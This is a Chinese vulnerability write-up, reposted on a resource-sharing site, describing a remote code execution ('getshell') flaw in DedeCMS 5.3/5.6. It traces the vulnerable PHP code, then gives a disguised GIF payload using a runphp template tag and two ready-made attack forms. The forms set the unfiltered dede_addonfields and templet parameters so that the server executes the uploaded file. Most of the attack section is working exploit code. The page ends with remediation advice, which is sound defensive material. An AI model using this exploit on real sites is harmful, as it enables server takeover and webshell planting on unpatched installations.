也想出现在这里? 联系我们

DEDECMS 5.6最新Get Shell漏洞 DEDECMS 5.3/5.6

作者 : 小编 本文共6768个字,预计阅读时间需要17分钟 发布时间: 2021-06-11 共2.29K人阅读
也想出现在这里? 联系我们

DEDECMS 5.6最新Get Shell漏洞 影响版本:  DEDECMS 5.3/5.6   漏洞描述:   DedeCms 基于PHP+MySQL的技术开发,支持Windows、Linux、Unix等多种服务器平台,从2004年开始发布第一个版本开始,至今已经发布了五个大版本。DedeCms以简单、健壮、灵活、开源几大特点占领了国内CMS的大部份市场,目前已经有超过二十万个站点正在使用DedeCms或居于 DedeCms核心,是目前国内应用最广泛的php类CMS系统。   article_add.php

复制代码

代码如下:

…………………… else if($dopost==\’save\’) { include(DEDEMEMBER.\’/inc/archives_check.php\’); //分析处理附加表数据 $inadd_f = $inadd_v = \’\’; if(!emptyempty($dede_addonfields)) { $addonfields = explode(\’;\’,$dede_addonfields); …………………………………….. //省略部份代码 $inadd_f .= \’,\’.$vs[0]; $inadd_v .= \” ,\’\”.${$vs[0]}.\”\’ \”; } } } …………………………………… $addtable = trim($cInfos[\’addtable\’]); if(emptyempty($addtable)) { ……………………………….. } else { $inquery = \”INSERT INTO `{$addtable}`(aid,typeid,userip,redirecturl,templet,body{$inadd_f}) Values(\’$arcID\’,\’$typeid\’,\’$userip\’,\’\’,\’\’,\’$body\'{$inadd_v})\”; if(!$dsql->ExecuteNoneQuery($inquery)) { …………………………………… } } …………………………………… $artUrl = MakeArt($arcID,true); //利用地方(arc.archives.functions.php有定义) function MakeArt($aid,$ismakesign=false) { global $cfg_makeindex,$cfg_basedir,$cfg_templets_dir,$cfg_df_style; include_once(DEDEINC.\’/arc.archives.class.php\’); if($ismakesign) { $envs[\’makesign\’] = \’yes\’; } $arc = new Archives($aid); $reurl = $arc->MakeHtml(); //arc.archives.class.php有定义 ………………………. }

  arc.archives.class.php

复制代码

代码如下:

class Archives { ……………. function __construct($aid) { ………… if($this->ChannelUnit->ChannelInfos[\’addtable\’]!=\’\’) { $query = \”SELECT * FROM `{$this->ChannelUnit->ChannelInfos[\’addtable\’]}` WHERE `aid` = \’$aid\’\”; $this->addTableRow = $this->dsql->GetOne($query); } …………………… if($this->ChannelUnit->ChannelInfos[\’addtable\’]!=\’\’ && $this->ChannelUnit->ChannelInfos[\’issystem\’]!=-1) { if(is_array($this->addTableRow)) { …………………………. $this->Fields[\’templet\’] = $this->addTableRow[\’templet\’];//注意1 ……………………………….. } } ……………………….. } function MakeHtml($isremote=0) { global $cfg_remote_site,$fileFirst; if($this->IsError) { return \’\’; } $this->Fields[\”displaytype\”] = \”st\”; //预编译$th $this->LoadTemplet(); //触发1 ………………………………..//省略部份代码 $this->arseDMFields($i,1); $this->dtp->SaveTo($truefilename); //触发2 ……………………………….. } 继续跟(触发1)$this->LoadTemplet(); //arc.archives.class.php有定义 function LoadTemplet() { if($this->TempSource==\’\’) { $tempfile = $this->GetTempletFile(); //注意2 if(!file_exists($tempfile) || !is_file($tempfile)) { echo \”文档ID:{$this->Fields[\’id\’]} – {$this->TypeLink->TypeInfos[\’typename\’]} – {$this->Fields[\’title\’]}\”; echo \”模板文件不存在,无法解析文档!\”; exit(); } $this->dtp->LoadTemplate($tempfile); //触发3 $this->TempSource = $this->dtp->SourceString; } else { $this->dtp->LoadSource($this->TempSource); } } 看注意2 的$this->GetTempletFile() //arc.archives.class.php有定义 function GetTempletFile() { global $cfg_basedir,$cfg_templets_dir,$cfg_df_style; $cid = $this->ChannelUnit->ChannelInfos[\’nid\’]; if(!emptyempty($this->Fields[\’templet\’])) //注意3 { $filetag = MfTemplet($this->Fields[\’templet\’]); if( !ereg(\’/\’, $filetag) ) $filetag = $GLOBALS[\’cfg_df_style\’].\’/\’.$filetag; } else { $filetag = MfTemplet($this->TypeLink->TypeInfos[\”temparticle\”]); } ………………………………… if($cid==\’spec\’) { if( !emptyempty($this->Fields[\’templet\’]) ) { $tmpfile = $cfg_basedir.$cfg_templets_dir.\’/\’.$filetag; } else { $tmpfile = $cfg_basedir.$cfg_templets_dir.\”/{$cfg_df_style}/article_spec.htm\”; } } ……………………………………. return $tmpfile; }

注意3中的值来自注意1是通过查表得来的,控制了它就等于控制了任意模板,然后通过触发3来触发漏洞 看下怎么控制注意1的值 article_edit.php

复制代码

代码如下:

…………………. else if($dopost==\’save\’) { ……………….. if(!emptyempty($dede_addonfields)) { $addonfields = explode(\’;\’,$dede_addonfields); if(is_array($addonfields)) { …………………… ${$vs[0]} = GetFieldValueA(${$vs[0]},$vs[1],$aid); $inadd_f .= \’,\’.$vs[0].\” =\’\”.${$vs[0]}.\”\’ \”; } } ………………. if($addtable!=\’\’) { $upQuery = \”Update `$addtable` set typeid=\’$typeid\’,body=\’$body\'{$inadd_f},userip=\’$userip\’ where aid=\’$aid\’ \”; if(!$dsql->ExecuteNoneQuery($upQuery)) {………….. } } ……………….. }

$dede_addonfields没有过滤,我们可以构造$inadd_f为,templet=\’上传的模板图片地址\’,包含我们的图片后,再通过触发2来生成图片里的后门! 本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负! Gif89a{dede:field name=\’toby57\’ runphp=\’yes\’} phpinfo(); {/dede:field} 保存为1.gif

复制代码

代码如下:

<form action=\”http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php\” method=\”post\” enctype=\”multipart/form-data\” \”> 2. <input type=\”hidden\” name=\”aid\” value=\”7\” /> <input type=\”hidden\” name=\”mediatype\” value=\”1\” /> 4. <input type=\”text\” name=\”oldurl\” value=\”/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif\” /></br> <input type=\”hidden\” name=\”dopost\” value=\”save\” /> 6. <input name=\”title\” type=\”hidden\” id=\”title\” value=\”1.jpg\” class=\”intxt\”/> <input name=\”addonfile\” type=\”file\” id=\”addonfile\”/> 8. <button class=\”button2\” type=\”submit\” >更改</button> </form>

构造如上表单,上传后图片保存为/uploads/userup/3/1.gif 发表文章,然后构造修改表单如下:

复制代码

代码如下:

<form action=\”http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php\” method=\”post\” enctype=\”multipart/form-data\”> <input type=\”hidden\” name=\”dopost\” value=\”save\” /> 3. <input type=\”hidden\” name=\”aid\” value=\”2\” /> <input type=\”hidden\” name=\”idhash\” value=\”ec66030e619328a6c5115b55483e8dbd\” /> 5. <input type=\”hidden\” name=\”channelid\” value=\”1\” /> <input type=\”hidden\” name=\”oldlitpic\” value=\”\” /> 7. <input type=\”hidden\” name=\”sortrank\” value=\”1282049150\” /> <input name=\”title\” type=\”text\” id=\”title\” value=\”aaaaaaaaaaaaaaa\” maxlength=\”100\” class=\”intxt\”/> 9. <input type=\”text\” name=\”writer\” id=\”writer\” value=\”123456\” maxlength=\”100\” class=\”intxt\” style=\”width:219px\”/> <select name=\’typeid\’ size=\’1\’> 11. <option value=\’1\’ class=\’option3\’ selected=\’\’>Test</option> <select name=\’mtypesid\’ size=\’1\’> 13. <option value=\’0\’ selected>请选择分类…</option> <option value=\’1\’ class=\’option3\’ selected>aa</option></select> 15. <textarea name=\”description\” id=\”description\”>aaaaaaaaaaaaa</textarea> <input type=\’hidden\’ name=\’dede_addonfields\’ value=\”templet\”> 17. <input type=\’hidden\’ name=\’templet\’ value=\”../uploads/userup/3/1.gif\”> <input type=\”hidden\” id=\”body\” name=\”body\” value=\”aaaa\” style=\”display:none\” /> 19. <button class=\”button2\” type=\”submit\”>提交</button> </form>

安全建议: 如果您使用了DedeCMS程序,因目前DedeCMS暂未发布补丁修复,请立即按如下流程处理: 1.在dedecms的后台更新补丁,尽可能升级为最新版本。 2.data、templets、uploads、install这几个目录用控制面板的“目录保护”功能 禁止执行权限 。 3.如果只是使用文章系统并没有使用会员功能,则强推推荐:关闭会员功能、关闭新会员注册、直接删除member目录或改名。 4.用dedecms后台的“系统”中的文件校验和病毒扫描功能 查杀病毒木马。 5.检查有无/data/cache/t.php 、/data/cache/x.php和/plus/index.php 这些木马文件,有的话则应立即删除。 6.用虚拟主机控制面板中的“查杀病毒 ”功能全面查杀一次。 请及时关注dedecms的最新补丁,如果官方出新补丁,则应立即更新。 厂商补丁EDECMS————目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:http://www.dedecms.com/

1. 本站所提供的源码模板(主题/插件)等资源仅供学习交流,若使用商业用途,请购买正版授权,否则产生的一切后果将由下载用户自行承担,有部分资源为网上收集或仿制而来,若模板侵犯了您的合法权益,请来信通知我们(Email: rayer@88.com),我们会及时删除,给您带来的不便,我们深表歉意!
2. 分享目的仅供大家学习和交流,请不要用于商业用途!
3. 如果你也有好源码或者教程,可以到用户中心发布投稿,分享有金币奖励和额外收入!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务 请大家谅解!
5. 如有链接无法下载、失效或广告,请联系站长,可领回失去的金币,并额外有奖!
6. 如遇到加密压缩包,默认解压密码为"www.zyfx8.cn",如遇到无法解压的请联系管理员!
本站部分文章、资源来自互联网,版权归原作者及网站所有,如果侵犯了您的权利,请及时联系我站删除。免责声明
资源分享吧 » DEDECMS 5.6最新Get Shell漏洞 DEDECMS 5.3/5.6

常见问题FAQ

免费下载或者VIP会员专享资源能否直接商用?
本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。
织梦模板使用说明
你下载的织梦模板并不包括DedeCMS使用授权,根据DedeCMS授权协议,除个人非盈利站点外,均需购买DedeCMS商业使用授权。购买地址: http://www.desdev.cn/service-dedecms.html

发表评论

Copyright 2015-2020 版权所有 资源分享吧 Rights Reserved. 蜀ICP备14022927号-1
开通VIP 享更多特权,建议使用QQ登录